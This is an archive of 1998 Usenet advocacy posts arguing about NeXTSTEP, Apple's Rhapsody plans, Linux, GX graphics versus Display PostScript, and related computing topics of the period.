> Gregory Loren Hansen wrote:
>> I know, someone is bound to pipe up and say Linux isn't a Unix because it
>> doesn't have the right pedigree. But it looks like a Unix, walks like a
>> Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
>> free.
>
> Well, the real reason it can't be called UNIX is simply because the Open
> Group has the rights to the UNIX name, and *they* decide what is and
> isn't UNIX. Even FreeBSD (which is a direct decendant of Berkely BSD
> 4.x UNIX) cannot be called "UNIX" for this reason.
It can't be called UNIX(tm), as in the trademark reference, agreed.
Linux is a Unix, using the term as a class reference describing a series of
related operating systems.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.ms-windows.advocacy,comp.os.linux.advocacy
Subject: Re: Commentary on Apple's rumor mongering.
Date: 3 Apr 1998 17:56:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14AD42A-18127D@206.165.43.27>
References: <6fp44h$mbc$6@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.ms-windows.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
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Xcanpos: shelf.1/199804180601!0012510355
mmalcolm crawford <malcolm@plsys.co.uk> said:
>
> > Apple has not given a compelling reason to move to Yellow Box.
> >
> They have; they have stated that YellowBox will be their API of the
future.
Developers are still getting a somewhat ambiguous word on this since the
road to Rhaposdy isn't a short one and MacOS must continue to evolve at
least somewhat separately, API-wise, at least for a while.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 18:03:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14AD5EE-187CB9@206.165.43.27>
References: <6g38jc$du2$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
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Xcanpos: shelf.1/199804180601!0013108578
Maury Markowitz <maury@remove_this.istar.ca> said:
> In <B14AAB36-E72ED@206.165.43.27> "Lawson English" claimed:
> > > I choose neither. I choose to focus on what Rhapsody can do, and
> > > that's all.
> >
> > So GX can offer nothing more to Rhaposdy than what Apple has already
> lifted
> > from it (which you aren't even sure about)?
>
> Stop putting words in my mouth.
So if you are focusing on Rhaposdy's current abilties, why bother with this
sub-thread since it is about what I think *should* go into Rhaposdy?
>
> > Now we know where you are coming from, Mr. Ragosta.
>
> And what you've stooped to.
>
Which is?
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: maliyekk@rice.edu (Anil Thomas Maliyekkel)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.tech
Subject: Re: G3, Intel mobile P-II
Followup-To: comp.sys.next.advocacy,comp.sys.powerpc.tech
Date: 4 Apr 1998 01:05:40 GMT
Organization: Rice University, Houston, Texas
Message-ID: <6g4114$15h$1@joe.rice.edu>
References: <6g0rvq$iqk@newsb.netnews.att.com> <6g1t1f$mj4$1@joe.rice.edu> <tim-0304980703000001@jump-k56flex-0110.jumpnet.com>
Xcanpos: shelf.1/199804180601!0013528970
Tim Olson (tim@jumpnet.com) wrote:
: In article <6g1t1f$mj4$1@joe.rice.edu>, maliyekk@rice.edu (Anil Thomas
: Maliyekkel) wrote:
: | The best part of it is that the core voltages are different.
: | The current PPC750 uses a 2.5V supply while the new mobile PIIs
: | use 1.7V supplies. With that much room for voltage reduction,
: | I would imagine future 750's could operate above 450MHz (@1.8V), while
: | the PII with a reduction to 1.4V might get Intel to 366MHz.
: While I'm sure you know the relationship between voltage and frequency,
: the way you phrased this makes it sound like the voltage reduction is
: giving you the frequency increase, which is not the case:
: For any given process technology, there is a voltage range in which it
: operates; too low and the gate won't go above the threashold voltage and
: turn on; too high and the gate oxide will break down.
: When operating in that voltage range:
: lower voltage: slower, less power required
: higher voltage: faster, more power required
: As processes get faster, they also reduce the gate oxide thickness, which
: requires the voltage reduction to prevent breakdown.
: --
: -- Tim Olson
Rereading my post, I can see I wasn't clear. I was estimating
the maximum frequency that would be suitable for use in a mobile
system. Clearly the PII and PPC750 can be ramped beyond the
above frequencies without any further voltage reduction, though
you would exceed the 8W limit thermal budget allocated to
CPUs in most normal PC laptops.
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 4 Apr 1998 01:27:04 GMT
Organization: @Home Network
Message-ID: <6g4298$5f6$1@ha2.rdc1.sdca.home.com>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com> <rmcassid-0204980912350001@dante.eng.uci.edu> <6g24dm$n50$2@ha2.rdc1.sdca.home.com> <rmcassid-0304980957500001@dante.eng.uci.edu>
Xcanpos: shelf.1/199804180601!0014680932
rmcassid@uci.edu wrote:
>In article <6g24dm$n50$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com (Rex
>Riley) wrote:
>
>>rmcassid@uci.edu wrote:
>Since Apple has no presence in this market (aside from what
>Next brought) they really have nowhere to go but up. Apple would *really*
>do well to get an IBM Solutions type group to endorse their products where
>appropriate, however. Maybe Perot Systems, maybe someone else. I think
>that is where they need to sell Rhapsody. Trickle down.
>
>
Good... NeXT tried BottomUP and that went nowhere.
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 4 Apr 1998 02:06:29 GMT
Organization: @Home Network
Message-ID: <6g44j5$5f6$2@ha2.rdc1.sdca.home.com>
References: <rmcassid-0204980955590001@dante.eng.uci.edu> <B1494835-10C21@206.165.43.94> <rmcassid-0204981412130001@dante.eng.uci.edu> <6g257k$n50$3@ha2.rdc1.sdca.home.com> <rmcassid-0304981014240001@dante.eng.uci.edu>
Xcanpos: shelf.1/199804180601!0018385247
rmcassid@uci.edu wrote:
>In article <6g257k$n50$3@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com (Rex
>Riley) wrote:
>
>>>It'll be used to knock the NC and JavaOS on it's ass in this
>>>market.
>>>
>>So how does that "affect" Apple? And does "this market" change? When?
>
>It affects Apple as I don't think they can make a serious entry into this
>market without a similar tactic.
Agreed on the PDA Reality Factor. So its a Lead, Follow or get the hell out
of the way! Apple having failed the first, where's the business case for
trying the second, follow?
>I think Apple has 3 options:
>
>Leverage YB into a PDA-ish role. That'd match MS's marketing tactic and
>actually deliver on it, but might be unrealistic technically - maybe not.
>
>Move MacOS into a PDA-ish role. That gives Apple a strong case in the
>education market. Nothing like what WinCE has, but a strong, stable market
>to be sure.
>
>Expand QT into a PDA role. It doesn't help many of us in what we do, but
>interactive multimedia delivered over a variety of media (wireless
>ethernet, DVD, whatever) done just right, could be a huge cash cow for
>Apple. Put them in airline seats, as roaming kiosks with GPS driven cues,
>personal consumer devices. High-volume low margin products that can drive
>Apple's content creation market into market dominance. Also fits into the
>set-top box market.
>
>I think the second is the most likely and least risky for Apple, but I'd
>love to see all three.
>
An eternal optimist you are! I'm concerned Apple resources are strapped with
survival tasks for which pulling off yet another creative product coup is
just too much stretch.
Option#1:: YB>>>PDAish role... Nah. Too FAT
Option#2:: Mac>>PDAish role... Nah. Lame "re-use" and "brittle".
Option#3:: QT==PDA RevenueHorse... Y.E.S. all the engineering is done. This
is a MEGAmarketing exercise. I like the "diversification" it brings to Apple
products which are "hdwe&sftwre" dependent. It also fits with the strategy
of "owning" the _Media Delivery_ layer.
>At the very least Java will have been elminated by
>MS, and be one less thing to deal with.
>
Wow... are we on a role, today! That easy? Not even a hedge here but
_eliminated_, I'm impressed. What a troll... OK, I'll byte.
How is MS going to "eliminate" Java. How long will this _end-game_ take to
realize? When MS reshuffles the deck chairs, where does this leave Apple
sitting when the good ship HMS Java goes down?
This ought to be good... I'll wait in baited anticipation.
-r
Rex
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 4 Apr 1998 23:20:50 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g6f8i$atu$2@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <slrn6i8057.kjl.sal@panix3.panix.com> , Salvatore Denaro <sal@panix3.panix.com> wrote:
>>> They then wrapped this stuff with the AppKit, an OO layer so good
>>> that even now, 10 YEARS (!) later it still is so far ahead of the
>>> pack that it isn't even funny.
>> Tell more... What do you like about it? Any disadvantages?
> IIRC, AppKit is still not thread safe. This is its bigest flaw. There
> are, of course, simple ways to get around this;but Apple really should
> fix this.
>> I dunno... I don't know enough about AppKit to say, but honestly, I think
>> you should take a look at some of the stuff OS/2 does!
> I am boycotting IBM. They have lots of evil software patents. :)
Probably a good idea..... I got OS/2 3.0 Warp a while ago, out of
curiosity, and I really have been impressed by it though. That purchase was
quickly followed by Borland C++ for OS/2.
>> Watch out for Gnome in about five years guys... :) We're genna build one
>> hell (excuse me) of a GUI/API desktop!
> Tell me when its done, I'll take a look.
You can get on the announce list at http://www.gnome.org/ . It's currently
in Alpha, so you'll have some time to watch it develop (assuming you really
are interested). I expect by this time next year, it'll be beta at least.
Beta may not sound like a lot, but GNU beta software is usually more stable
than commercail release software.
>> Yeah, you have a character mode interface. But can you really administer
>> everything in your NS box from it?
> Yes.
>> Rhapsody has promised to be even more
>> GUI'd. It seems like they act as if a CLI were just left in for backup or
>> for the old foggies who think it's better... there are cases, many cases,
>> when a CLI is faster, easier, and certainly less resource hungry.
> I see no reason to think that they will remove the CLI functions. The most
> likely scenario is that they will build GUI tools for the existing CLI
> commands and leave the CLI alone.
We'll see...
>> I mean Steve Jobs' philosophy that everything should be done in a GUI. Look
>> at the Mac. My fear would be, if I were an NS user, that Apple's
>> integration would put even more into the GUI and even less in the CLI.
> NS came after the Mac, and it was built on Unix with a full CLI. I see no
> reason to think that Apple is going to revert to a GUI only system for
> Rhapsody. They expect it to be used as a power user system.
Point taken; NS was Jobs' second GUI OS (and I must say, far better than the
first).
>> Regardless... Here's the thing... Sal answered some of my questions on
>> NS technology rather suspicously. I suspected that he was not being
>> completely honest or leaving out important details.
> What makes you think that? I've posted complients about Rhapsody and
> Openstep. In c.s.next.advocacy I listed ten things that I think are
> sorely needed in Rhapsody. I've very objective.
>> explaned in a reasonible fassion what they were. So, I'm thinking maybe
>> he's alright after all. In the very next post, he goes on to make a
>> statement that would lead one to beleive that distributed objects were OC
>> exclusive.
> PDO is an Apple/NeXT product and it is Obj-C exclusive, AFAIK. I doubt that
> I ever claimed that "distributed objects" are exclusive to Obj-C.
It sounded like that to me...
Anyway, it really doesn't matter. The thing is, most posts you've made that
have been follow-ups to me have been totally mindless flames in my not all
that humble opinion. If you keep making reasonible posts like this one, I
think you and I could get along.
>> Anyway, that's my beef with Sal. For him, it means flaming me in virtually
>> every post I make.
> No, just the ones where you lie about what I have said.
Yeah, whatever, Sal.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Message-ID: <o7KyEfuRCBOD@cc.usu.edu>
From: root@127.0.0.1
Date: 4 Apr 98 11:55:50 MDT
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <us5d8eywho8.fsf@ai.mit.edu> <6g53vk$r9p$1@ironhorse.plsys.co.uk>
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In <6g53vk$r9p$1@ironhorse.plsys.co.uk> mmalcolm crawford wrote:
> "Michael J. Peck" <mjpeck@nstar.net> writes:
>
> > user can't install this package? shit, retry as root. logout, relog
> > in, install, logout, relog in. Waiting...
> >
> Oh come on Michael, as a Unix sort of chap this is inexcusable:
>
> % su
> Password:
>
> # cd /NextAdmin/Installer.app
> # ./Installer &
>
> Now use the running Installer application to install your pagkage.
> Wait time? About as much as it would take on any Unix system.
>
And if for some reason you just can't stand dropping into a command
line, you can always use the OpenSesame Service which allows you to
open any application as root. Select the install package in FileViewer,
hit the Services->OpenSesame->OpenAsRoot, enter the root password in
the panel. Boom! Installer opened as root, install with no problem.
Sheesh. If Mr. Peck would spend half as much time reading the docs
as he does whining, he might be somewhat productive.
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 4 Apr 1998 23:25:47 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g6fhr$atu$3@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6fvmkt$i4c$4@ns3.vrx.net> , Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <6fvapb$6th$3@quasar.dimensional.com> Kenneth R. Kinder claimed:
>> Honestly, if I were Apple (yikes!), besides just OpenSourcing everything :),
>> I wouldn't put too much effort into PPP... it'll be obsolete in 3-5 years.
> Uh huh. I'd put this right up with your most clueless statements ever.
Funny. I've programmed PPP interfaces...
> Hint: there's a whole world out there that's never seen cable TV, and
> entire countries with less than a T1 bandwidth. PPP will be around for a
> very long time.
Hint: If I was a Mac or Next user, you'd agree with me
I suppose you thought Slip would be around forever too? Already, many new
replacements for the PPP protocal are out, and being refined. PPP will not
be obsoleted by optical cable as you seem to think, but by newer protocals
that are more robust, and hopefully, with cryptography.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 4 Apr 1998 23:27:22 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6g6fkq$atu$4@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com> <6g0ffj$k6c$3@anvil.BLaCKSMITH.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6g0ffj$k6c$3@anvil.BLaCKSMITH.com> , Charles Swiger <chuck-nospam@blacksmith.com> wrote:
>>> OpenStep is a free and open API for anyone to use. GNU and SUN
>>> are using it. It's an open standard.
>> YES... it is an openstandard, and that has something to be said for it...
>> But the code itself is proprietary, and isn't OpenSource. I'll spare you
>> my political speech about why things should be OpenSource, and leave it at
>> this: I want an OS I can contribute to.
> You are free to contribute to the GNUstep project.
> You are also free to contribute to the MiscKit.
MiscKit? What that be?
> Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
> ---------------+----------------------+--------------------
> "Microsoft: we make the easy almost impossible."
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 4 Apr 1998 23:37:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6idh1h.vt.sal@panix3.panix.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <slrn6i6eob.j6l.sal@panix3.panix.com> <35234369.8CB74DE3@nstar.net> <slrn6i7soc.kjl.sal@panix3.panix.com> <3523F54C.6F87@CONVEX.COM> <slrn6ia4vh.pfp.sal@panix3.panix.com> <352577B2.2E0A@nstar.net>
On Fri, 03 Apr 1998 17:58:42 -0600, Michael Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> Did you compile pppd for MacOS? Build gcc? Set up NFS links? Remove the native
>> AppleTalk networking and replace it with NIS/NFS? I don't think that you are
>> comparing the same types of tasks.
>Who said anything about types of tasks? If you mean to say that NEXTSTEP
>only "Just Works" if I treat it like a Macintosh, then I will concede
>the discussion, having confirmed my belief that that's *EXACTLY* what
>NEXTSTEP advocates mean.
Simple things are simple, difficult things are possible. That was the
goal.
>> >Great! My usage patterns are markedly different.
>> Yes, I spend more time working and you spend more time configing. :)
>Yack yack yack. A John Kheit parrot. I use configuration and management
>to enable better work productivity. I crank projects out because I know
>what I'm doing. My workspace and overall jurisdiction are flexible
>because I know how to make things happen quickly.
Did you notice the smiley face?
If you wanted to modify the NS interface, you are very free to do so.
Focus-follows-mouse and custome key binding were both mentioned.
>You can't pretend that it's okay to leave things alone and pretend
>they'll never need to change. That bullshit about "I never need to
>fiddle with my machine, it's a Macintosh" is OVER. If you don't
>understand the way configuration works, or your system won't let you
>perform configuration, you are running *SUBOPTIMALLY*, period.
Is the Prefrences App broken in some way? Is the dwrite command too hard
for you? NS is very easy to config and reconfig. I don't see what point
you are trying to make.
>Statements that "I don't waste my time with that" are warmed-over
>bullshit excuses from an earlier era when businesses still believed it
>was okay to accept a vendor's out-of-the-box solution. As a matter of
>fact, lots of businesses still believe that, and they get that solution
>from Microsoft.
Systems should be useful out of the box. There should be no *need* (as
apposed to *want*) to config anything. It should just work.
>> Why is it required on a repeated basis?
>Because it didn't work the first time.
RTFM and retry. The RTFM part can be done while the machine restarts.
> Because I want to change it back.
Ok. Now restart to make sure everything changes back.
>Because I need to show someone how to do it.
Show them the GUI. Point to everything but don't click "set"
> Because I didn't click
>"set", first, in the silly damned Preferences box.
The system is not immune to user error.
>> Compare the time spent editing .rc files
>> with the time spent waiting to load your changes. I know I spent a lot more than
>> ten minutes editing rc files when I moved from fvwm to afterstep.
>Too bad. That's probably because it was your first time and you had *NO*
>idea what you were doing.
Hardly. AS was based on FVWM1.x. I was using a newer version of FVWM that had
a bunch of stuff that did not exist on AS. I had to remove things from the
.rc's and tweak a couple of things. I also wanted to back everything up in
case I didn't like it.
> The reason for that is probably that you went
>around for the previous twelve months saying, "I don't need to learn vi
>or configure .rc files because that's a waste of my time". People like
>you walk into my office and want to know if I'll interrupt my schedule
>and show them how to set up something they never bothered to learn.
I've been using VI since '86 or so. I am not afraid of learning new things.
If I was I would not have looked at Rhapsody. Before I devote time to learning
something, it has to be worth my time. I am not going to switch WMs unless
the new one offers me much more than the old one.
>The sad thing is, people like you often end up saving time, overall,
>because idiots like me always feel sorry and save your ass when the time
>crunch comes down.
You sound like a 22 year old, fresh out of school and having trouble learning
to adjust to the real world.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Fri, 03 Apr 1998 23:10:14 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <3525C0B6.1946@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com>
<35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu>
<3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net>
<3524bac0.0@maser.urz.unibas.ch> <6g2bpu$m4p$1@ns3.vrx.net>
<35257250.242B@nstar.net> <6g3b4e$foh$1@ns3.vrx.net>
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Xcanpos: shelf.1/199804181001!0011914061
Maury Markowitz wrote:
> Not really, because the same chain of thinking would then logically require
> the horizontal scroller to be at the top of the window.
Yes, you obviously *do* get my point, because that's exactly right.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 3 Apr 1998 22:57:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14B1ABB-2CE1@206.165.43.39>
References: <6g38rv$du2$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
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Lawson English <english@primenet.com> said:
> In <B14AAAD0-E5AEE@206.165.43.27> "Lawson English" claimed:
Maury said:
[time to add transparency to DPS in NeXTstep]
> > > Neither do you. For all we know it took 1 day.
> >
> > I seriously doubt it. ARe you being serious or what?
>
> That I don't know how long it too? Absolutely serious.
>
That you are even entertaining the thought that it took one day.
> > What good points about speed? GX, as far as I can tell, does its
> processing
> > of any and all variations of GX ink-color-transfer-modes in a single
pass,
> > including those for bitmaps.
>
> Doesn't make it fast.
>
Makes it faster than doing it in several passes. Which was my point: if you
don't have the primitives set up to do GX-like color stuff in one pass, you
gotta do more than one pass.
> > I don't know for sure how GX does its thing, but it isn't
rocket-science
>
> NOW look who's playing the "caught in the middle game".
>
> One message: All this GX stuff is obviously too hard for people that
wrote
> Mach, YB, and DPS to do!
> Next message: "but it isn't rocket-science"
>
I think that you completely misunderstood what I said. Here is the
original:
+++
"I don't know for sure how GX does its thing, but it isn't rocket-science
OR
science fiction/fantasy to assume that it does its processing of bitmaps in
one pass since that is the easiest and most convenient way to do it, as
well as the fastest. "
+++
> So, which is it? If it's option (a) which you've been saying it is
for
> MONTHS now, then you're stating the opposite now. And if it's option
(b),
> they why don't you do it? Make up your mind!
>
> > efficiency. However, to keep it coherent with the rest of the design of
> DPS
> > and to ensure that ALL Rhapsody programmers will be able to use it,
> Apple
> > has to implement it, not me.
>
> Balogna, we've got curve and path classes in our app, and we didn't
write
> them. Neither did Apple/NeXT. If you're so hot on this, do it.
>
Yes, but, unless Apple does it, your curve and path classes aren't likely
to be compatible with someone else's. All GX applications can save using
GX's built-in GX shape flattening API and assume that other GX applications
can use the saved shapes/pictures in their own applications. Since the
saved format is editable using the standard GX API, all GX applications can
edit flattened GX files using their own standard GX-editing tools
automatically.
Consistency may have limits, but it also allows for a universally (on
MacOS, at least) useable graphics format that can do 80-95% of what EPS
does and allow the editing of graphics images (e.g., multi-national, fully
formatted lines of text, and overlapping non-opaque objects, including
bitmaps and text) that EPS simply won't support without a LOT of work in
comparison to even the simplest GX app that supports saving and opening of
GX files using the built-in save/restore (flatten/unflatten) API.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 5 Apr 1998 00:39:08 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6g6jrc$9j9$1@news.cs.tu-berlin.de>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6eob$atu$1@quasar.dimensi
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Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> writes:
[...]
>> RTF is a Microsoft standard. Again, NeXT picked something that was
>> available, even if it came from the evil empire.
>Yeah... Presently, I wouldn't have choosen RTF, but that's ok...
What alternative rich text format would you have chosen?
>>>> For pictures, Adobe's EPS format, which can be supported better than
>>>> on most platforms because of the built in DPS.
>>> I'm advocating PNG myself...
>> PNG is just a bitmap format (roughly equivalent to, but simpler than
>> TIFF), EPS is for vectors + bitmaps + text. That said, filter
>> services let the system treat just about any format (incl. PNG)
>> just like a native data type.
>Yes... and unlike GIF, it has no royalties.
GIF is actually an extremely sucky graphics format, which is
why I'm glad NeXT went with TIFF as the standard...
[...]
>The thing is, I really am not that concerned about it. Why should I be? My
>choice OS is Linux, and it does everything I want right now. I like the
>direction it's been taking, and I like its license...
>I don't see why I should invest in getting NS just for usenet discussion.
Nobody is saying that you should. However, if you don't know
anything about, don't go spouting off about it. Fair?
>>> I'm very familiar with distributed objects, as my last project I was working
>>> on used DCOM extensivly.
>> DCOM is nothing like the Next/Apple distributed objects system. Trust
>> me.
>DCOM isn't what it should be.
>CORBA's my distributed objects system! :)
CORBA is actually pretty cool, at least it seemed to be when
I looked into it a couple of years ago. What bugs me is
how complex it is despite the fact that it doesn't really
do a lot. (Unlike DCOM though, it doesn't actively get
in your way...). Anyway, does CORBA support object migration
now? I haven't really kept up with it.
DO is a lot like CORBA except that it has always been fully
dynamic and it only takes about 2 seconds to learn.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <maury-0404982011350001@ts65-02.tor.istar.ca>
References: <6g327f$9aa$1@ns3.vrx.net> <B14ACD15-16684A@206.165.43.27>
Organization: Atria Software
Date: Sun, 05 Apr 1998 01:09:47 GMT
NNTP-Posting-Date: Sat, 04 Apr 1998 20:09:47 EST
In article <B14ACD15-16684A@206.165.43.27>, "Lawson English"
<english@primenet.com> wrote:
> Now where did I ever make that statement? If I did, I was talking rather
> strangely because...
On at least three separate occasions. You used the "GX will continue to
keep text as editable characters even when used on a path, whereas DPS
will lose this in the transformation into a glyph" as one of your "killer
arguments". To date the only one I've seen stand is the printing of
transparencies.
> I was referring to the library of routines that Dan Lipton had devised
A library that appears (after reading the article) to be fairly easy to
recreate under DPS. The only thing missing is that GX hands you the
tangent of a curve at any point, whereas under DPS I'd have to write code
